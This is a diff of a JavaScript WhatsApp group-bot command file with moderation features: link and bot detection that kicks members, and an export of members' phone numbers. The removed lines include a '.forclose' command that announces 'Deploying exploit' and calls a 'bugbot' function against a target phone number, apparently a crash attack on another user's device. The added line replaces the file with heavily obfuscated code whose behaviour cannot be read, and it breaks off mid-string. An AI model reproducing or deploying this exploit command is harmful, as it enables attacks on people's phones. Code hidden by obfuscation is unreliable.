return reply("โ Provide target number or reply to someone\n\nUsage: .forclose 254712345678");
|
|
1047
|
-
}
|
|
1048
|
-
try {
|
|
1049
|
-
await reply(`โ ๏ธ *FORCLOSE INITIATED*\n\n๐ฏ Target: ${target.split('@')[0]}\nโณ Deploying exploit...`);
|
|
1050
|
-
// Use real bugForceOne from Bug Bot engine (same function as .fc-onemsg)
|
|
1051
|
-
const { bugForceOne } = require("../bugbot/bugbot");
|
|
1052
|
-
await bugForceOne(sock, target);
|
|
1053
|
-
await reply(`โ
*FORCLOSE COMPLETED*\n\n๐ฏ Target: ${target.split('@')[0]}\n๐ Exploit delivered!`);
|
|
1054
|
-
}
|
|
1055
|
-
catch (error) {
|
|
1056
|
-
console.error("[FORCLOSE] Error:", error);
|
|
1057
|
-
await reply(`โ Exploit failed: ${error.message || 'Unknown error'}`);
|
|
1058
|
-
}
|
|
1059
|
-
}
|
|
1060
|
-
});
|
|
1061
|
-
// VCF - Export group members as vCard
|
|
1062
|
-
(0, types_1.registerCommand)({
|
|
1063
|
-
name: "vcf",
|
|
1064
|
-
aliases: ["contacts", "exportcontacts"],
|
|
1065
|
-
description: "Export group members as VCF file",
|
|
1066
|
-
category: "group",
|
|
1067
|
-
execute: async ({ sock, msg, reply, isOwner }) => {
|
|
1068
|
-
const chatJid = msg.key.remoteJid;
|
|
1069
|
-
if (!chatJid?.endsWith("@g.us")) {
|
|
1070
|
-
return reply("โ This command only works in groups!");
|
|
1071
|
-
}
|
|
1072
|
-
if (!isOwner) {
|
|
1073
|
-
return reply("๐ Owner only command.");
|
|
1074
|
-
}
|
|
1075
|
-
try {
|
|
1076
|
-
await reply("๐ Generating VCF file...");
|
|
1077
|
-
const groupMetadata = await sock.groupMetadata(chatJid);
|
|
1078
|
-
const participants = groupMetadata.participants;
|
|
1079
|
-
const groupName = groupMetadata.subject || "Group";
|
|
1080
|
-
// Generate VCF content
|
|
1081
|
-
let vcfContent = "";
|
|
1082
|
-
let count = 0;
|
|
1083
|
-
for (const participant of participants) {
|
|
1084
|
-
const number = participant.id.replace(/@.*$/, "").replace(/:.*$/, "");
|
|
1085
|
-
const name = "Member " + (count + 1);
|
|
1086
|
-
vcfContent += "BEGIN:VCARD\n";
|
|
1087
|
-
vcfContent += "VERSION:3.0\n";
|
|
1088
|
-
vcfContent += "FN:" + name + "\n";
|
|
1089
|
-
vcfContent += "TEL;TYPE=CELL:+" + number + "\n";
|
|
1090
|
-
vcfContent += "END:VCARD\n";
|
|
1091
|
-
count++;
|
|
1092
|
-
}
|
|
1093
|
-
// Send as document
|
|
1094
|
-
await sock.sendMessage(chatJid, {
|
|
1095
|
-
document: Buffer.from(vcfContent, "utf-8"),
|
|
1096
|
-
fileName: groupName.replace(/[^a-zA-Z0-9]/g, "_") + "_contacts.vcf",
|
|
1097
|
-
mimetype: "text/vcard",
|
|
1098
|
-
caption: "๐ *" + groupName + " Contacts*\n\nโ
Total: " + count + " members exported"
|
|
1099
|
-
}, { quoted: msg });
|
|
1100
|
-
}
|
|
1101
|
-
catch (error) {
|
|
1102
|
-
console.error("[VCF] Error:", error);
|
|
1103
|
-
await reply("โ Failed to generate VCF: " + error.message);
|
|
1104
|
-
}
|
|
1105
|
-
}
|
|
1106
|
-
});
|
|
1107
|
-
// โโโโโโโโโโโโ ANTI-BOT COMMANDS โโโโโโโโโโโโ
|
|
1108
|
-
(0, types_1.registerCommand)({
|
|
1109
|
-
name: "antibot",
|
|
1110
|
-
aliases: ["anti-bot"],
|
|
1111
|
-
description: "Toggle Anti-Bot (kicks users detected sending via bots)",
|
|
1112
|
-
category: "owner",
|
|
1113
|
-
ownerOnly: true,
|
|
1114
|
-
execute: async ({ msg, args, reply }) => {
|
|
1115
|
-
const jid = msg.key.remoteJid;
|
|
1116
|
-
if (!jid.endsWith('@g.us'))
|
|
1117
|
-
return reply("โ This command is for groups only!");
|
|
1118
|
-
const status = args[0]?.toLowerCase();
|
|
1119
|
-
if (status === 'on') {
|
|
1120
|
-
await storage_1.storage.updateGroupSettings(jid, { antibotEnabled: true });
|
|
1121
|
-
return reply(`โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1122
|
-
โ ๐ค *ANTI-BOT: ENABLED* ๐ค โ
|
|
1123
|
-
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃ
|
|
1124
|
-
โ โ
Now KICKING users who โ
|
|
1125
|
-
โ send messages via bots โ
|
|
1126
|
-
โ โ
|
|
1127
|
-
โ ๐ _No bots allowed here_ โ
|
|
1128
|
-
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ`);
|
|
1129
|
-
}
|
|
1130
|
-
else if (status === 'off') {
|
|
1131
|
-
await storage_1.storage.updateGroupSettings(jid, { antibotEnabled: false });
|
|
1132
|
-
return reply("โ Anti-Bot DISABLED โ bots can roam free now");
|
|
1133
|
-
}
|
|
1134
|
-
else {
|
|
1135
|
-
const currentSettings = await storage_1.storage.getGroupSettings(jid);
|
|
1136
|
-
const currentStatus = currentSettings?.antibotEnabled ? '๐ข ON' : '๐ด OFF';
|
|
1137
|
-
return reply(`*๐ค ANTI-BOT MODE*\n\nCurrent Status: ${currentStatus}\n\nUsage:\nโข \`.antibot on\` - Kick bot users\nโข \`.antibot off\` - Allow bots\n\n_When ON, anyone sending via a bot will be kicked!_`);
|
|
1138
|
-
}
|
|
1139
|
-
}
|
|
1140
|
-
});
|
|
1141
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1142
|
-
// EXPORTED HANDLERS (Called from whatsapp.ts per message)
|
|
1143
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1144
|
-
// Helper: Extract ALL text content from any message type
|
|
1145
|
-
function extractAllText(msg) {
|
|
1146
|
-
const m = msg.message;
|
|
1147
|
-
if (!m)
|
|
1148
|
-
return '';
|
|
1149
|
-
const texts = [];
|
|
1150
|
-
// Direct text
|
|
1151
|
-
if (m.conversation)
|
|
1152
|
-
texts.push(m.conversation);
|
|
1153
|
-
if (m.extendedTextMessage?.text)
|
|
1154
|
-
texts.push(m.extendedTextMessage.text);
|
|
1155
|
-
// Captions on media
|
|
1156
|
-
if (m.imageMessage?.caption)
|
|
1157
|
-
texts.push(m.imageMessage.caption);
|
|
1158
|
-
if (m.videoMessage?.caption)
|
|
1159
|
-
texts.push(m.videoMessage.caption);
|
|
1160
|
-
if (m.documentMessage?.caption)
|
|
1161
|
-
texts.push(m.documentMessage.caption);
|
|
1162
|
-
// Wrapped messages (ephemeral, viewOnce, deviceSent)
|
|
1163
|
-
const wrapped = m.ephemeralMessage?.message || m.viewOnceMessage?.message || m.viewOnceMessageV2?.message || m.deviceSentMessage?.message;
|
|
1164
|
-
if (wrapped) {
|
|
1165
|
-
if (wrapped.conversation)
|
|
1166
|
-
texts.push(wrapped.conversation);
|
|
1167
|
-
if (wrapped.extendedTextMessage?.text)
|
|
1168
|
-
texts.push(wrapped.extendedTextMessage.text);
|
|
1169
|
-
if (wrapped.imageMessage?.caption)
|
|
1170
|
-
texts.push(wrapped.imageMessage.caption);
|
|
1171
|
-
if (wrapped.videoMessage?.caption)
|
|
1172
|
-
texts.push(wrapped.videoMessage.caption);
|
|
1173
|
-
}
|
|
1174
|
-
return texts.join(' ');
|
|
1175
|
-
}
|
|
1176
|
-
// Comprehensive URL regex โ catches ALL link formats
|
|
1177
|
-
const URL_REGEX = /(?:https?:\/\/|www\.)[^\s<>\"']+|(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?\.)+(?:com|org|net|edu|gov|io|co|me|info|biz|xyz|app|dev|ly|cc|gg|tv|us|uk|de|fr|ru|cn|in|br|it|nl|au|ca|ch|se|no|fi|dk|be|at|es|pt|pl|cz|sk|hu|ro|bg|hr|rs|ua|za|ke|ng|gh|tz|ug|rw|et|eg|ma|dz|tn|ly|link|store|online|site|tech|club|fun|pro|top|live|world|shop|today|space|website|digital|network|social|cloud|media|design|blog|page|land|chat|click|one|ph|my|sg|th|vn|id|pk|bd|lk|np|mm)\b(?:\/[^\s<>\"']*)?/gi;
|
|
1178
|
-
/**
|
|
1179
|
-
* ANTILINK HANDLER โ Call this per group message BEFORE command processing
|
|
1180
|
-
* Returns true if the message was blocked (link detected)
|
|
1181
|
-
*/
|
|
1182
|
-
async function handleAntilink(sock, msg, sessionId) {
|
|
1183
|
-
try {
|
|
1184
|
-
const jid = msg.key.remoteJid;
|
|
1185
|
-
if (!jid || !jid.endsWith('@g.us'))
|
|
1186
|
-
return false;
|
|
1187
|
-
// Get group settings
|
|
1188
|
-
const settings = await storage_1.storage.getGroupSettings(jid);
|
|
1189
|
-
if (!settings) {
|
|
1190
|
-
// No settings at all for this group โ skip
|
|
1191
|
-
return false;
|
|
1192
|
-
}
|
|
1193
|
-
console.log(`[ANTILINK] ๐ Group ${jid.slice(0, 15)}... mode=${settings.antilinkMode}`);
|
|
1194
|
-
if (!settings.antilinkMode || settings.antilinkMode === 'off')
|
|
1195
|
-
return false;
|
|
1196
|
-
// Extract text from message
|
|
1197
|
-
const text = extractAllText(msg);
|
|
1198
|
-
if (!text)
|
|
1199
|
-
return false;
|
|
1200
|
-
// Check for URLs
|
|
1201
|
-
const foundLinks = text.match(URL_REGEX);
|
|
1202
|
-
if (!foundLinks || foundLinks.length === 0)
|
|
1203
|
-
return false;
|
|
1204
|
-
console.log(`[ANTILINK] ๐ Link detected in ${jid}: "${foundLinks[0]}"`);
|
|
1205
|
-
// Get group's own invite link to whitelist it
|
|
1206
|
-
let groupInviteCode = '';
|
|
1207
|
-
try {
|
|
1208
|
-
groupInviteCode = await sock.groupInviteCode(jid);
|
|
1209
|
-
}
|
|
1210
|
-
catch (e) {
|
|
1211
|
-
// Bot may not be admin, can't get invite code
|
|
1212
|
-
}
|
|
1213
|
-
// Check if ALL found links are the group's own link
|
|
1214
|
-
if (groupInviteCode) {
|
|
1215
|
-
const ownLinkPattern = `chat.whatsapp.com/${groupInviteCode}`;
|
|
1216
|
-
const nonOwnLinks = foundLinks.filter(link => !link.includes(ownLinkPattern));
|
|
1217
|
-
if (nonOwnLinks.length === 0) {
|
|
1218
|
-
console.log(`[ANTILINK] โ
Group's own link โ allowed`);
|
|
1219
|
-
return false;
|
|
1220
|
-
}
|
|
1221
|
-
}
|
|
1222
|
-
// Get sender info
|
|
1223
|
-
const senderJid = msg.key.participant || msg.key.remoteJid;
|
|
1224
|
-
if (!senderJid)
|
|
1225
|
-
return false;
|
|
1226
|
-
// Skip bot's own messages
|
|
1227
|
-
if (msg.key.fromMe)
|
|
1228
|
-
return false;
|
|
1229
|
-
// Skip owner and admins
|
|
1230
|
-
try {
|
|
1231
|
-
const groupMetadata = await sock.groupMetadata(jid);
|
|
1232
|
-
const senderParticipant = findParticipant(groupMetadata.participants, senderJid);
|
|
1233
|
-
if (senderParticipant?.admin === 'admin' || senderParticipant?.admin === 'superadmin') {
|
|
1234
|
-
console.log(`[ANTILINK] โฉ Admin sent link โ skipping`);
|
|
1235
|
-
return false;
|
|
1236
|
-
}
|
|
1237
|
-
// Check if bot is admin (required to kick/delete)
|
|
1238
|
-
const botParticipant = findBotInParticipants(sock, groupMetadata.participants);
|
|
1239
|
-
const isBotAdmin = botParticipant?.admin === 'admin' || botParticipant?.admin === 'superadmin';
|
|
1240
|
-
if (!isBotAdmin) {
|
|
1241
|
-
console.log(`[ANTILINK] โ ๏ธ Bot is not admin โ cannot enforce`);
|
|
1242
|
-
return false;
|
|
1243
|
-
}
|
|
1244
|
-
}
|
|
1245
|
-
catch (e) {
|
|
1246
|
-
console.error('[ANTILINK] Metadata error:', e);
|
|
1247
|
-
return false;
|
|
1248
|
-
}
|
|
1249
|
-
// Delete the message
|
|
1250
|
-
try {
|
|
1251
|
-
await sock.sendMessage(jid, { delete: msg.key });
|
|
1252
|
-
}
|
|
1253
|
-
catch (e) {
|
|
1254
|
-
console.error('[ANTILINK] Failed to delete message:', e);
|
|
1255
|
-
}
|
|
1256
|
-
const senderNum = senderJid.split('@')[0].split(':')[0];
|
|
1257
|
-
if (settings.antilinkMode === 'kick') {
|
|
1258
|
-
// KICK MODE โ immediate removal
|
|
1259
|
-
console.log(`[ANTILINK] ๐ฆต Kicking ${senderNum} for sending link`);
|
|
1260
|
-
try {
|
|
1261
|
-
await sock.groupParticipantsUpdate(jid, [senderJid], "remove");
|
|
1262
|
-
}
|
|
1263
|
-
catch (e) {
|
|
1264
|
-
console.error('[ANTILINK] Failed to kick:', e);
|
|
1265
|
-
}
|
|
1266
|
-
await sock.sendMessage(jid, {
|
|
1267
|
-
text: `๐๐ซ *ANTI-LINK ACTIVATED*\n\n@${senderNum} has been *KICKED* for sending a link!\n\n_No links allowed in this group_ ๐`,
|
|
1268
|
-
mentions: [senderJid]
|
|
1269
|
-
});
|
|
1270
|
-
return true;
|
|
1271
|
-
}
|
|
1272
|
-
else if (settings.antilinkMode === 'warn') {
|
|
1273
|
-
// WARN MODE โ increment warning, kick on 3rd
|
|
1274
|
-
let warnings = {};
|
|
1275
|
-
try {
|
|
1276
|
-
warnings = JSON.parse(settings.warnings || '{}');
|
|
1277
|
-
}
|
|
1278
|
-
catch (e) { }
|
|
1279
|
-
const currentWarns = (warnings[senderJid] || 0) + 1;
|
|
1280
|
-
warnings[senderJid] = currentWarns;
|
|
1281
|
-
await storage_1.storage.updateGroupSettings(jid, { warnings: JSON.stringify(warnings) });
|
|
1282
|
-
if (currentWarns >= 3) {
|
|
1283
|
-
// 3 warnings = kick
|
|
1284
|
-
console.log(`[ANTILINK] ๐ฆต Kicking ${senderNum} after 3 warnings`);
|
|
1285
|
-
try {
|
|
1286
|
-
await sock.groupParticipantsUpdate(jid, [senderJid], "remove");
|
|
1287
|
-
}
|
|
1288
|
-
catch (e) {
|
|
1289
|
-
console.error('[ANTILINK] Failed to kick:', e);
|
|
1290
|
-
}
|
|
1291
|
-
// Reset warnings
|
|
1292
|
-
delete warnings[senderJid];
|
|
1293
|
-
await storage_1.storage.updateGroupSettings(jid, { warnings: JSON.stringify(warnings) });
|
|
1294
|
-
await sock.sendMessage(jid, {
|
|
1295
|
-
text: `๐๐ซ *ANTI-LINK โ 3 STRIKES OUT*\n\n@${senderNum} has been *KICKED* after 3 link warnings!\n\n_You were warned..._ ๐`,
|
|
1296
|
-
mentions: [senderJid]
|
|
1297
|
-
});
|
|
1298
|
-
}
|
|
1299
|
-
else {
|
|
1300
|
-
await sock.sendMessage(jid, {
|
|
1301
|
-
text: `โ ๏ธ *ANTI-LINK WARNING* (${currentWarns}/3)\n\n@${senderNum}, links are *NOT ALLOWED* in this group!\n\n_${3 - currentWarns} more warning(s) and you'll be kicked_ ๐ซ`,
|
|
1302
|
-
mentions: [senderJid]
|
|
1303
|
-
});
|
|
1304
|
-
}
|
|
1305
|
-
return true;
|
|
1306
|
-
}
|
|
1307
|
-
return false;
|
|
1308
|
-
}
|
|
1309
|
-
catch (err) {
|
|
1310
|
-
console.error('[ANTILINK] Handler error:', err);
|
|
1311
|
-
return false;
|
|
1312
|
-
}
|
|
1313
|
-
}
|
|
1314
|
-
/**
|
|
1315
|
-
* ANTIBOT HANDLER โ Detects messages sent via WhatsApp bots/business API
|
|
1316
|
-
* Returns true if the message was blocked
|
|
1317
|
-
*/
|
|
1318
|
-
async function handleAntibot(sock, msg, sessionId) {
|
|
1319
|
-
try {
|
|
1320
|
-
const jid = msg.key.remoteJid;
|
|
1321
|
-
if (!jid || !jid.endsWith('@g.us'))
|
|
1322
|
-
return false;
|
|
1323
|
-
// Get group settings
|
|
1324
|
-
const settings = await storage_1.storage.getGroupSettings(jid);
|
|
1325
|
-
if (!settings || !settings.antibotEnabled)
|
|
1326
|
-
return false;
|
|
1327
|
-
// Skip bot's own messages
|
|
1328
|
-
if (msg.key.fromMe)
|
|
1329
|
-
return false;
|
|
1330
|
-
const senderJid = msg.key.participant || msg.key.remoteJid;
|
|
1331
|
-
if (!senderJid)
|
|
1332
|
-
return false;
|
|
1333
|
-
// โโ BOT DETECTION HEURISTICS โโ
|
|
1334
|
-
const m = msg.message;
|
|
1335
|
-
if (!m)
|
|
1336
|
-
return false;
|
|
1337
|
-
let isBotMessage = false;
|
|
1338
|
-
let detectionReason = '';
|
|
1339
|
-
// 1. deviceSentMessage wrapping (typical of multi-device bots)
|
|
1340
|
-
if (m.deviceSentMessage?.message && !msg.key.fromMe) {
|
|
1341
|
-
isBotMessage = true;
|
|
1342
|
-
detectionReason = 'Device-sent message wrapper (bot relay)';
|
|
1343
|
-
}
|
|
1344
|
-
// 2. Bot JID patterns โ business API bots use specific JID suffixes
|
|
1345
|
-
if (senderJid.includes(':') && senderJid.endsWith('@s.whatsapp.net')) {
|
|
1346
|
-
// Device suffix patterns like "123456:45@s.whatsapp.net" indicate multi-device/bot
|
|
1347
|
-
const parts = senderJid.split('@')[0].split(':');
|
|
1348
|
-
if (parts.length > 1 && parseInt(parts[1]) > 10) {
|
|
1349
|
-
isBotMessage = true;
|
|
1350
|
-
detectionReason = 'Bot JID pattern (high device suffix)';
|
|
1351
|
-
}
|
|
1352
|
-
}
|
|
1353
|
-
// 3. Business/bot contextInfo markers
|
|
1354
|
-
const contextInfo = m.extendedTextMessage?.contextInfo || m.imageMessage?.contextInfo || m.videoMessage?.contextInfo;
|
|
1355
|
-
if (contextInfo) {
|
|
1356
|
-
// Bot API messages often have businessMessageKey
|
|
1357
|
-
if (contextInfo.businessMessageKey) {
|
|
1358
|
-
isBotMessage = true;
|
|
1359
|
-
detectionReason = 'Business message key detected';
|
|
1360
|
-
}
|
|
1361
|
-
// Bot API ephemeral relay
|
|
1362
|
-
if (contextInfo.ephemeralSettingTimestamp && contextInfo.isForwarded && contextInfo.forwardingScore && contextInfo.forwardingScore > 5) {
|
|
1363
|
-
isBotMessage = true;
|
|
1364
|
-
detectionReason = 'High forwarding score (automated relay)';
|
|
1365
|
-
}
|
|
1366
|
-
}
|
|
1367
|
-
// 4. templateMessage / listMessage / buttonMessage (typically only sent by bots)
|
|
1368
|
-
if (m.templateMessage || m.listMessage || m.buttonsMessage || m.listResponseMessage || m.templateButtonReplyMessage || m.interactiveMessage) {
|
|
1369
|
-
isBotMessage = true;
|
|
1370
|
-
detectionReason = 'Interactive/template message (bot-only feature)';
|
|
1371
|
-
}
|
|
1372
|
-
if (!isBotMessage)
|
|
1373
|
-
return false;
|
|
1374
|
-
console.log(`[ANTIBOT] ๐ค Bot message detected from ${senderJid.split('@')[0]}: ${detectionReason}`);
|
|
1375
|
-
// Skip owner and admins
|
|
1376
|
-
try {
|
|
1377
|
-
const groupMetadata = await sock.groupMetadata(jid);
|
|
1378
|
-
const senderParticipant = findParticipant(groupMetadata.participants, senderJid);
|
|
1379
|
-
if (senderParticipant?.admin === 'admin' || senderParticipant?.admin === 'superadmin') {
|
|
1380
|
-
console.log(`[ANTIBOT] โฉ Admin's bot โ skipping`);
|
|
1381
|
-
return false;
|
|
1382
|
-
}
|
|
1383
|
-
// Check if bot is admin
|
|
1384
|
-
const botParticipant = findBotInParticipants(sock, groupMetadata.participants);
|
|
1385
|
-
const isBotAdmin = botParticipant?.admin === 'admin' || botParticipant?.admin === 'superadmin';
|
|
1386
|
-
if (!isBotAdmin) {
|
|
1387
|
-
console.log(`[ANTIBOT] โ ๏ธ Bot is not admin โ cannot enforce`);
|
|
1388
|
-
return false;
|
|
1389
|
-
}
|
|
1390
|
-
}
|
|
1391
|
-
catch (e) {
|
|
1392
|
-
console.error('[ANTIBOT] Metadata error:', e);
|
|
1393
|
-
return false;
|
|
1394
|
-
}
|
|
1395
|
-
const senderNum = senderJid.split('@')[0].split(':')[0];
|
|
1396
|
-
// Delete the message
|
|
1397
|
-
try {
|
|
1398
|
-
await sock.sendMessage(jid, { delete: msg.key });
|
|
1399
|
-
}
|
|
1400
|
-
catch (e) {
|
|
1401
|
-
console.error('[ANTIBOT] Failed to delete:', e);
|
|
1402
|
-
}
|
|
1403
|
-
// Kick the sender
|
|
1404
|
-
console.log(`[ANTIBOT] ๐ฆต Kicking ${senderNum} โ ${detectionReason}`);
|
|
1405
|
-
try {
|
|
1406
|
-
await sock.groupParticipantsUpdate(jid, [senderJid], "remove");
|
|
1407
|
-
}
|
|
1408
|
-
catch (e) {
|
|
1409
|
-
console.error('[ANTIBOT] Failed to kick:', e);
|
|
1410
|
-
}
|
|
1411
|
-
await sock.sendMessage(jid, {
|
|
1412
|
-
text: `๐ค๐ซ *ANTI-BOT ACTIVATED*\n\n@${senderNum} has been *KICKED* for using a bot!\n\n๐ Reason: _${detectionReason}_\n\n_No bots allowed in this group_ ๐`,
|
|
1413
|
-
mentions: [senderJid]
|
|
1414
|
-
});
|
|
1415
|
-
return true;
|
|
1416
|
-
}
|
|
1417
|
-
catch (err) {
|
|
1418
|
-
console.error('[ANTIBOT] Handler error:', err);
|
|
1419
|
-
return false;
|
|
1420
|
-
}
|
|
1421
|
-
}
|
|
1
|
+
'use strict';function _0x5ec1(_0x28d85a,_0x56107d){_0x28d85a=_0x28d85a-0x175;const _0x4cbf0e=_0x4cbf();let _0x5ec1e4=_0x4cbf0e[_0x28d85a];if(_0x5ec1['ODgQAX']===undefined){var _0x536193=function(_0x24393a){const _0x1a2fcd='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x5c35f='',_0x54f974='';for(let _0x1e65b7=0x0,_0xaf2a,_0x3da8de,_0x1e3bef=0x0;_0x3da8de=_0x24393a['charAt'](_0x1e3bef++);~_0x3da8de&&(_0xaf2a=_0x1e65b7%0x4?_0xaf2a*0x40+_0x3da8de:_0x3da8de,_0x1e65b7++%0x4)?_0x5c35f+=String['fromCharCode'](0xff&_0xaf2a>>(-0x2*_0x1e65b7&0x6)):0x0){_0x3da8de=_0x1a2fcd['indexOf'](_0x3da8de);}for(let _0x5a06c7=0x0,_0x3b0a17=_0x5c35f['length'];_0x5a06c7<_0x3b0a17;_0x5a06c7++){_0x54f974+='%'+('00'+_0x5c35f['charCodeAt'](_0x5a06c7)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x54f974);};_0x5ec1['fpQqJG']=_0x536193,_0x5ec1['PjQjJD']={},_0x5ec1['ODgQAX']=!![];}const _0x4a898a=_0x4cbf0e[0x0],_0x21c597=_0x28d85a+_0x4a898a,_0x41d5fb=_0x5ec1['PjQjJD'][_0x21c597];return!_0x41d5fb?(_0x5ec1e4=_0x5ec1['fpQqJG'](_0x5ec1e4),_0x5ec1['PjQjJD'][_0x21c597]=_0x5ec1e4):_0x5ec1e4=_0x41d5fb,_0x5ec1e4;}const _0x4d270b=_0x5ec1;(function(_0x49bfab,_0x212a92){const _0x19ce18=_0x5ec1,_0x1dec61=_0x49bfab();while(!![]){try{const _0x26f604=-parseInt(_0x19ce18(0x257))/0x1*(parseInt(_0x19ce18(0x1f6))/0x2)+-parseInt(_0x19ce18(0x2c5))/0x3+parseInt(_0x19ce18(0x282))/0x4*(-parseInt(_0x19ce18(0x1d6))/0x5)+-parseInt(_0x19ce18(0x1e2))/0x6*(-parseInt(_0x19ce18(0x31b))/0x7)+-parseInt(_0x19ce18(0x246))/0x8+parseInt(_0x19ce18(0x1ee))/0x9+parseInt(_0x19ce18(0x1f9))/0xa;if(_0x26f604===_0x212a92)break;else _0x1dec61['push'](_0x1dec61['shift']());}catch(_0x683ec3){_0x1dec61['push'](_0x1dec61['shift']());}}}(_0x4cbf,0xabb70));Object[_0x4d270b(0x2a9)](exports,'__esModule',{'value':!![]}),exports[_0x4d270b(0x230)]=handleAntilink,exports['handleAntibot']=handleAntibot;function _0x4cbf(){const _0x54a8b9=['Aw50zxjHy3rPDMvnzxnZywDL','yw5UB3vUy2vTzw50','CerWqxi','4PIG77IpierLDgHYB25PBMCG','s1bjD0i','qwXSigfYzsbHzg1PBNmUifDPDg5LC3mGDgHLigrVD25MywXSlIdWN5gr8j+mQU+4JW','zwLcqw4','rw5HyMXLiefUDgKTtgLUAYaOs2LJAYbnB2rLkq','AKnQwLC','qM90ig11C3qGCNvSzsbHCYbHzg1PBIe','CMvZzxrSAw5R','8j+tHYaQ','yw50AwDYB3vWBwvUDgLVBI13yxjU','zNjVBu1L','C1Pir2y','C3vIAMvJDa','shvHAue','zgvSzxrL','4P2miefUDgKTvgfNqwXSicHazxzLCNLVBMuPierju0fcteve','4P2mievYCM9Yigr1CMLUzYbLEg9KDxm6ia','BhHWDfu','4PYfiefWChjVDMvKia','r8Y3ZzVmV0pmTCYvZzGGZlFmVCY/rmY4ZyVmGvlmT8Y/Zz1fZlJmLC2GqCY2ZzdnI0tmTC2sZjvfZlFmK82yrmY4Zl7nNsdmTC2lZl9cZlFmMS2DwCY2ZzdnMcdmUmY9Zz1dZlFnM8Y/t8Y1ZjxnMflmT8Y/Zz1uZlJnI8YbqCY2ZzdnI07mTC2sZjvbZlFmK82y8j+sPG','BLfgAKu','zxjYB3i','z3jVDxbvCgrHDgvezxnJCMLWDgLVBG','8j+uKIbpD25LCIbVBMX5ignVBw1HBMqU','4PQHicPmsuDive5jtKCGu1rssuTfifjfvKvbtcOG4PQHcGPFug93zxjLzcbIEsbWDxjLignOyw9ZigvUzxjNEv8G8j+qIq','svnHz1G','w0foveLmsu5llunnrf0Gu2v0igTPy2SGBw9KzsbMB3iG','DgzvtKy','z2nWAwm','8j+tRsboBYbWzw5KAw5NigPVAw4GCMvXDwvZDhmGzM91BMq','Bg9N','8j+zHcb3CM9UzYdWN5MfihvZywDLigv4yw1WBguGzgvSzxrLicHYzxbSEsb0BYbTzxnZywDLkq','igzVCIbZzw5KAw5NigXPBMS','ig1VCMuGD2fYBMLUzYHZksbHBMqGEw91j2XSigjLigTPy2TLzf8G8j+AQW','A2v5CW','4P2mifjLCgX5ihrVigeGBwvZC2fNzsWGBwvUDgLVBIbZB21LB25LlcbVCIbWCM92AwrLigeGBNvTyMvYiqOkvxnHz2u6cUkaOIbszxbSEtOGyc5NzxrWCM9MAwXLyaRIGkiGtwvUDgLVBJOGyc5NzxrWCM9MAwXLieb1C2vYyaRIGkiGtNvTyMvYoIbGlMDLDhbYB2zPBguGmJu0nZeYmZq1nJC4ya','Aw1Hz2u','wfv5zMe','y01jrgi','rM9Yy2XVC2uGzxHWBg9PDcaTignYyxnOzxmGDgfYz2v0j3mGv2HHDhnbCha','AM9PBG','w0foveLct1rDipcFPRuGs2LJA2LUzYa','C3rHBNPHswq','AgfUzgXLqw50AwXPBMS','ChjVzMLSzxbPyW','C2L6zq','y29UDgfJDhm','CgfYDgLJAxbHBNrZ','BgLZDfjLC3bVBNnLtwvZC2fNzq','yxbWCM92zwfSBa','B1nrzu4','igfMDgvYidmGD2fYBMLUz3m','8j+tIYaQr3jVDxaGsKLeiezVDw5KkGOk','BgLUAW','s2LJAYbHBgWGBwvTyMvYCYbMCM9TigDYB3vWicHbzg1PBIbVBMX5kq','qw50As1uywDbBgWGkeTPy2SPic0Gs2LJA3mGDxnLCNmGD2HVihvZzsbazxzLCNLVBMuSic50ywDHBgWSigv0yY4','v2Lzuu8','yw50AwXPBMSTB2zM','iokaLca','4Pwu4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwxcUkvKsdWN4Y4icPbtLrjlvrbr0fmtdOGv0fstIOG8j+mUcaGicdILzek4PwG4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwJcUkvKsdIMQdVUi8GtM93ifDbuK5jtKCGDxnLCNmGD2HVoIaGicdILzek4PwriokaOIbvC2uGqgv2zxj5B25LicaGicaGicaGicaGicdILzek4PwriokaOIbvC2uGlNrHz2fSBc8UAgLKzxrHzYaGicaGicdILzek4PwricaGicaGicaGicaGicaGicaGicaGicaGicaGicaG4PwrcUkvKsdWN5kqif9eB24NDcbHBM5VEsbLDMvYEw9Uzv8G8j+sKcdILzek4PwA4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwD','lZmPcGPa','C2vUze1LC3nHz2u','rKDcs1G','4Pwu4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4Pwq4PwxcUkvKsdWN6swicPbtLrjlujpvdOGru5bqKXfrcOG8j+KLIaGiokvKqRILAdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILzdILAmk4PwriokCHsboB3CGs0Lds0LorYb1C2vYCYb3Ag8GicaGiokvKqRILzeGicaGC2vUzcbTzxnZywDLCYb2AweGyM90CYaGicdILzek4PwricaGicaGicaGicaGicaGicaGicaGicaGicaGicaG4PwrcUkvKsdWN5kaif9oBY